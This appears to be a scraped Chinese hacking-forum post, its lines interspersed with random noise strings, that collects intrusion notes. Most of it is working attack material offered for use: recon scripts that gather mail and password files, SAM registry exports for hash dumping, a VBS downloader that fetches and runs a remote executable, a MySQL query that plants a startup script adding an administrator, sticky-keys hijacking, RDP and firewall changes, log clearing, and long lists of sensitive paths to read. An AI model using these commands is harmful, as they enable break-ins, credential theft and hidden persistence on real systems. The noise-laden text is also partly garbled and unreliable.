关于tar的打包方式,linux不以扩展名来决定文件类型。
( ^9 v# j1 D6 w( O9 f/ h* U若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
6 z, J0 ?" X; g5 n9 k那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

* x- g/ H! E/ l提权先执行systeminfo
. z6 e- ~% M; h: jtoken 漏洞补丁号 KB956572
! C' U7 U, O" d3 {; y# o- r* IChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
7 Z7 q0 g( A* n2、收集系统信息的脚本  
" j7 X$ F' E9 cfor window：
# e% E0 s0 }0 M7 ~; B/ y4 g0 v1 o
9 D' H- [* h( ~. x@echo off
7 c2 E! g. g4 f3 n* ?echo #########system info collection
' |% W: O$ s5 s: asysteminfo
ver
hostname
) o# x  E- O+ q# I$ e+ Y9 \net user
: i; e. c) \6 qnet localgroup
net localgroup administrators
- h8 M9 G- E. s8 P' v+ b1 _net user guest
1 t7 W% t9 N9 I, c! Fnet user administrator
7 E9 [. ^+ E2 l* [3 X# S
1 U$ X! u7 Y. ]5 U( _7 d, W* }echo #######at- with   atq#####
echo schtask /query

/ T" U. I& z9 L) \3 E) Vecho
  r1 c! Q7 V  B2 d  Pecho ####task-list#############
% W9 @/ ?9 X$ q  ltasklist /svc
echo
. z# Y% m. Q- ^# Qecho ####net-work infomation
ipconfig/all
6 ~& p$ E5 ]- U# ?' t, }/ jroute print
+ V! x5 ]! Q1 {( karp -a
' Y' ~5 {1 s- Xnetstat -anipconfig /displaydns
6 |* f/ ~! [4 oecho
0 E( }$ J- U. T1 t3 M* z7 F, F9 Lecho #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F
- `5 ~! D  M0 j: Bfor linux：

7 s( e2 v) x$ d! U! U3 ~; A8 i: ?' l#!/bin/bash
6 b+ t( Z/ v$ u6 D5 `, S
4 T" E8 ?$ w9 i! q5 ^' ]% [+ Decho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
) s' J! W1 B# k% r0 d* E9 b7 Mecho
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
% J& t1 A7 w+ u) S$ r, @######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null


$ ?3 ~" g: }/ m) ^" N3 f# ]0 ]# ~echo 'u'r id is' `id`
( `, j% H  ?; n: @echo ###atq&crontab#####
2 {# B; T  o! H7 v1 X2 {atq
1 B/ M+ q# |7 hcrontab -l
/ d% q, W6 R5 d2 yecho #####about var#####
set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
/ N" j: s6 `7 Q% Z- T- }cat /etc/hosts
$ ^7 F- j- W: t+ l# J2 e5 zhostname
ipconfig -a
' u8 C  z: V2 P. b$ M8 Tarp -v
echo ########user####
( D- o" J7 e# I. l3 }: Acat /etc/passwd|grep -i sh

4 t1 I" t0 K( U; t+ decho ######service####
chkconfig --list
7 N8 B! ?; A1 B; S' [2 h3 P) f/ g
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
/ b/ N2 e3 D( Y. G% |' cdone

6 ]( K/ `, B' J* T5 ?locate passwd >/tmp/password 2>/dev/null
sleep 5
9 Z* r" ]# {. W2 @  q9 }, ulocate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
( i- N$ F& @4 x9 o) j( b: ksleep 5
locate config >>/tmp/sysconfig 2>/dev/null
+ H9 B# j$ ~0 S* q* M) Nsleep 5

0 Z  v, d* g; w8 t2 g" W: Q' }/ x! L###maybe can use "tree /"###
* @3 b! o2 t$ d6 o( @- t# K) Techo ##packing up#########
9 m% U9 M, P. U* k  U. Ftar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
/ n- N( [0 }( K  ^rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
' |. C0 q6 o# {, s& R3、ethash 不免杀怎么获取本机hash。
' S" Q& C! L* @首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
/ h) r9 e9 c$ J; H% \——————————————
( ?- d1 x( k! H; E; T, {4、vbs 下载者
& r: q) Y: X+ S$ p0 }3 z8 n1
! m/ @  d1 j) c7 d1 decho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
; z) K- c7 C0 t9 l7 x+ z. ?echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
: D1 }9 s4 `, `* ^7 \0 }echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
$ U2 ?# X6 i' d" X4 |% B& t( @echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
6 H( q) S7 i5 A. [( n" gecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
" @: t( k$ L" @- J& N/ D, Lecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
% V) {" N; H% z/ E- c, _- ^/ wcftmon.vbs
1 I: T! \! s; X5 [9 ]7 h
2
$ b: ]7 ^0 o: ]$ p! f: ~/ qOn Error Resume Nextim iRemote,iLocal,s1,s2
7 ]4 o" f! n; X; B& F3 FiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
/ r+ ^% H! M. r0 V' P% W! [& ZSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
8 N0 S) F3 ]( isGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

+ U! c# g# y" c0 k/ m5 bcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
3 L- Z' U5 T9 a4 s, Z
# g; n, t% t" T0 e4 Q当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
" R- R, |. X( K& P, n; L——————————————————
5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
7 a* r* _6 o" R! l1 v" Y2.开启XP&2003终端服务
; u4 y! h9 @- T( q1 sREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3 q7 `0 R0 n4 j% A0 G3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
2 g& e) j* E" ainsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
  Q, i, W' O0 }2 G0 J7 @4 {select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
$ ]4 i  d7 `3 x" J+ p————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
7 N$ o8 r; S+ l0 ^+ _3 H$ o_____
8、for /d %i in (d:\freehost\*) do @echo %i

0 r2 v4 k% m# G  t  ]; j5 I列出d的所有目录
, C" a( V" N+ S0 p( f  
  for /d %i in (???) do @echo %i

5 u9 b3 p. V1 g% I$ F把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
8 }6 s, P+ L  X& _4 [% ?  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
2 S- q! }& g3 R7 `
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
+ I9 U) B5 j2 J8 [1 @
3.for /f %i in (c:\1.txt) do echo %i
- K4 d- k8 u" r4 F' Z  
2 g3 T4 I5 _+ H6 F$ }' e, b  b  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

) ?5 }& T- @! I7 T! l! ~* ~& Y4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
9 i" @7 s" M- I! Q. z7 e# x7 \+ S" `
( }7 d. ]- a' T, f/ ]  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
2 S7 }. h) k0 ~3 x1.Administrator注册表备份:
/ e4 w6 Z6 _- b8 B. n6 Sreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
/ h2 d9 @" H: @1 X& G  q* |6 @
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
6 k& A6 b$ X; s% o3 y
  h: ^1 l$ c, u3.清除3389登录记录:
! G7 V/ `, k. w$ v8 }5 C/ Ireg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
, u2 h1 W8 \& _4 Q1 ~* J
4.Radmin密码:
3 [) p! @0 {7 D. i0 Yreg export HKLM\SYSTEM\RAdmin c:\a.reg
+ B* O1 V2 F* h
$ i8 q4 {8 T/ I: |9 C7 w+ X5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

9 y6 z# x- Y) |6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
6 o% \1 s) B, s) g6 inetsh ipsec dynamic set config ipsecexempt value=0
( u# }% q( }( B, w6 ^
7.停止指派策略"myipsec":
. R: o9 e, C. s/ u% u0 Lnetsh ipsec static set policy name="myipsec" assign=n
( [* N! c" R$ P. s* T% Y# r
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

6 q6 ]  K( H* Z9.另类方法抓系统密码HASH
/ y, J% B6 E# D, A# J2 j' o& _reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

. a  i. G' \2 t$ p8 G; F4 J10.shift映像劫持
7 J4 F* i/ t' ~8 mreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

- L7 E' H$ t& ]: O& ^# treg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
  L" e0 a/ B% o9 ~" o& b8 {( E1 Z* t星外vbs(注：测试通过，好东西）
, F1 b7 H6 l' p' MSet ObjService=GetObject("IIS://LocalHost/W3SVC")
! m3 ~) h$ h! XFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
: Y2 A& l5 F0 ^. d" l0 r* ?; Zif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
- m) ]$ n( P6 i5 u. i# a! H& b2 Texit for
msgbox("error!")
wscript.quit
0 `; q9 E/ v$ uend if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
- W1 Q+ E0 b' `set IISweb=iis.getobject("IIsWebVirtualDir","Root")
3 p. l* U: t0 b+ auser=iisweb.AnonymousUserName
# q: w" @4 Q( F8 k2 P" Kpass=iisweb.AnonymousUserPass
path=IIsWeb.path
$ E5 J  J0 Z- b: J' I7 vlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
; A3 g1 l* J' yNext
wscript.echo list
. t: N$ H* p  k0 F& D( N* VSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
* [  M2 @' _. L复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
7 ~; F8 \# r; R9 Y% y* i3 }) _9 M1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
8 Q( J( _) N- N! M( o将folder.htt文件，加入以下代码：
+ T- G9 N" D- h- X6 G/ U<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
4 h6 M* k1 I" m复制代码
0 _5 S2 {8 ~! E9 I% w* G7 a然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
5 L# Y- k* T4 WPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
1 p  S7 ]$ z+ B# e" v url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
8 B% u5 ~& n1 E3 o6 j 解决方法
url=request.severvariables("path_info")
8 G" @; k4 Y' Y. }7 c2 R path_info可以直接呈现虚拟路径 顺利解析gif大马
1 n: q$ [* V; L! n
==============================================================
LINUX常见路径：

/etc/passwd
/etc/shadow
/etc/fstab
2 g6 \, n  W/ x" O9 C* c1 ~/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
: p& ~! l4 U+ A: K+ C- |2 ]5 z9 S! L/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
& V0 u4 |: W) {/var/httpd/htdocs/index.php
% c0 ]* k9 G" u9 d  r/ A/var/httpd/conf/httpd.conf
+ x- n/ \* C) [# o1 J/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
" D% D2 x/ Q: w1 y, Q3 W9 D' X/var/www/index.html
) ]0 ?& C9 |; t7 F/var/www/index.php
2 G( g/ ~9 {% i1 n: f/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
5 \4 [) x4 j: i; N7 r+ B/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
. D' l. k4 i: g, y4 G$ F- [/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
* M  q9 I- ~; O1 S$ l1 X5 ^2 |: B# g/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/ e! ?+ g) M: }$ Y/tmp/apache/htdocs/index.php
: ]/ I& P$ @8 N+ p& T: P. w3 k/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
, i- O$ D- }" j% o4 A7 j+ W/www/php/php.ini
/www/php4/php.ini
0 a  [  Z: C1 A! Y; X8 P/www/php5/php.ini
; B0 k, r/ u* @9 C/www/conf/httpd.conf
/www/htdocs/index.php
% m: h& G% o" |* x' H" ^8 o+ n/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
1 [* k6 v: B8 r" y3 r( n/ h. `/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
* ^* n0 Q- a2 a/ b$ A; @. [0 s- f# h/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
: M, R% u4 W/ Y* W5 _  H/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
9 _( y! V! l. h- D' V1 N- ?/etc/httpd/logs/access_log
% Q) v" r- O/ Z5 g- r1 ^/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
- T7 v" T  E3 n1 i: A  S) x6 t/home/apache2/conf/httpd.conf
/var/log/apache/error_log
" I5 x, H# m, Q( N) i/var/log/apache/error.log
" p: Y* \2 L( Z/var/log/apache/access_log
7 k8 k5 e. K" y) @' B1 G$ ?/ L3 f/var/log/apache/access.log
( k/ n- r: n  v, Y5 ^/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
- X: `& d; g& ^. I% e/var/log/apache2/access.log
+ E8 [' c, f/ O9 |2 J0 z7 @3 ?/var/www/logs/error_log
" ?, @7 d' r. w  r4 e2 C/var/www/logs/error.log
$ w" ?3 I* o: D- C0 ]/var/www/logs/access_log
4 f4 @  B5 E2 V/var/www/logs/access.log
; P4 z- n  q' H7 W7 x2 W/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
" h6 q" l; G- G9 T3 A3 m/usr/local/apache/logs/access.log
; T+ O# l. Y$ S  z( a/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
0 D! d9 m6 J9 D" ?/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
( W, h2 b. o1 K( Q0 G/bin/php.ini
, i1 t- @( h7 s6 o0 ^/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
) s6 [* r3 V* U  D/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
1 x* v7 A) G1 K  q* W$ V/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
* b8 R6 m% r, U3 ]# x! k8 X! x9 q/usr/local/php5/lib/php.ini
. G2 I* F+ P6 o3 K& @; ^4 j3 J/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
$ x; Q$ y, i1 |3 K0 u/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
) `* w: u- e4 }0 h/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
- Q4 k- n4 Y% P( N% ^% R- }  }/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
5 h" S1 y4 Z6 n* V; q& c( u/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
& a* E/ c; Y/ }1 }# u5 c/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
# w: E) I. f+ }. o5 b/ z" {0 x/var/local/www/conf/php.ini
: W, c  I0 ^4 E4 K" d9 q/var/local/www/conf/httpd.conf
; `! T3 \8 I$ P) ^: Z/etc/php/cgi/php.ini
: g8 |( d9 ]" x. H8 o3 r/etc/php4/cgi/php.ini
' q3 z+ l9 s2 O7 b* L6 T+ b/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
5 I- u! g' K! s) m' K/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
( S! ~3 I& L& f8 [) w) ]0 \& ]/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
4 C1 V% V% U) n5 l6 t+ L* t: [; O/var/log/mysql/mysql-bin.log
& W# s1 e/ Q/ U+ k/var/log/mysql.log
$ Y7 `3 l. A0 C0 E! |$ {/var/log/mysqlderror.log
/var/log/mysql/mysql.log
7 d3 w- S$ @7 O: u3 Z1 g4 p' X/var/log/mysql/mysql-slow.log
/var/mysql.log
+ P5 ^- V3 i3 `  G: W" t, q/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
& W5 G7 b, s3 Y$ m9 A/etc/my.cnf
/usr/local/cpanel/logs
; m4 ~) }: d$ O/usr/local/cpanel/logs/stats_log
* Y& R9 n3 |4 Q& b+ E( T/usr/local/cpanel/logs/access_log
& E/ _4 i  f: K+ B/usr/local/cpanel/logs/error_log
* D. @1 @- {3 l2 v0 e/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
7 L' Y1 H; \9 @/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
+ t. b! n& g& t7 p
; ^- F: b4 R; g3 q8 o- {8 [c:\windows\php.ini
4 Q9 o3 m7 L* P5 yc:\boot.ini
c:\1.txt
c:\a.txt

c:\CMailServer\config.ini
. t1 Q7 c+ h/ g  fc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
" H+ `% e8 p$ O4 E3 dc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
- d5 D6 U; M! D' j5 v+ w: @C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

2 r8 p# g" \* \2 F* R( Fc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

9 e: r3 a7 E' F* n; u1 pC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
! S4 r4 X7 h' jC:\WINDOWS\web.config
' P" P8 D! K2 B8 Oc:\web\index.html
c:\www\index.html
- _+ a$ k/ ]/ h# c& u8 Z' d4 `c:\WWWROOT\index.html
c:\website\index.html
+ b, H& f7 P& g1 m: S( Jc:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
4 o& Q% g2 b1 cc:\web\index.php
8 b. {2 V5 r; e( z; V) b, j2 mc:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
! Y  I: p, V6 i+ `) E6 U" Z7 Xc:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
3 _+ [; s( L) C: N% c( v9 Rc:\web\default.asp
: Z7 f0 [% g# wc:\www\default.asp
c:\wwwsite\default.asp
) z, t/ b$ M+ K  ]+ X1 {c:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
( `& U4 O- v6 [c:\WWWROOT\default.php
. o1 N2 n1 r: t  q0 zc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
* L' o# B8 `2 U: ]8 ]: |+ K9 kc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
& @4 T5 E( l0 Q4 j  X: n% V0 YC:\Program Files\Microsoft Office\OFFICE12\winword.exe
+ x) i: G! P/ i1 z# d' nC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
9 V( U, W8 A6 Z- p& k1 f) f8 h; U" zC:\Program Files\360\360Safe\360safe.exe
, r. X3 P% N/ U9 t! d$ b. k+ mC:\Program Files\360Safe\360safe.exe
& `$ m# q( |7 ^0 K2 |C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
" n  s3 i1 ?2 x# K: R8 E/ Oc:\ravbin\store.ini
c:\rising.ini
+ f) l' h& E4 O8 d7 FC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
5 s* `0 V& S/ GC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
- w; G7 \: L) I( H7 Z- N6 `C:\Documents and Settings\Administrator\My Documents\a.txt
& S0 J( z. t+ e( _C:\Documents and Settings\Administrator\桌面\a.txt
3 r; C* I/ G7 ^4 \, XC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
1 b6 j. s7 u7 D+ f& Y9 w- E8 WC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
( y: x) w' [9 V! y) S8 IC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
0 f3 a$ v) @" D5 C* ^3 x5 FC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
- t* t* Y4 C7 P- d' @. DC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
& T% B/ t1 C$ `1 ~* X) W+ @C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
0 d( W: I3 L: a( j9 S) R% CC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
% R$ m# N' {  u. r' x( mC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
9 l' ^( N& T4 P. _9 e  `9 VC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
5 t6 l. S- w" Hc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
8 }( g! B/ a8 g6 n! X: v8 mC:\Program Files\Oracle\oraconfig\Lpk.dll
, t$ S0 x$ R* g, Z0 J: {C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
5 L0 N8 C% Q. M. g% }: \8 _C:\WINDOWS\system32\inetsrv\inetinfo.exe
6 `7 \5 J4 s, u/ G1 ]C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
7 h0 G4 S& V. Y. f& B; n( cC:\WINDOWS\system32\config\default.LOG
% h" t4 @) K* r% Q) DC:\WINDOWS\system32\config\sam
" g0 A- u: U  k( d2 c' GC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
; h4 a; @  U$ H% ?7 lc:\program files\CMailServer\config.ini
+ c' k7 f3 ]. p& r) v4 r5 }; Ic:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
4 \: U) [" [; L  p; Q- G0 W  |7 Vc:\program files\tomcat6\bin\version.sh
' B- ^4 X8 a, dC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
! F' B& A) m8 f4 N/ Z( gc:\Apache2\php\license.txt
( P% C6 [$ b; S" [. A. z7 RC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
% m1 x* {" V  y: e9 S- n6 B/usr/share/tomcat6/bin/startup.sh
0 S; ~% [) K% @/usr/tomcat6/bin/startup.sh
( u# }5 @. L# J# fc:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
( F6 T9 F8 V: Z0 P. W- @& qc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
8 @' a) x: ^  h  |4 b. ]' dc:\Program Files\Tencent\qq\Users\All Users\Registry.db
8 e5 e9 x# v4 I: d0 z& uC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
% a3 Q8 H* X+ q# X+ cc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
! ~* N$ H8 b& w/ z. h/ b: vc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
- F: `5 Y: m0 l0 K5 N: EC:\Program Files\tencent\Foxmal\Foxmail.exe
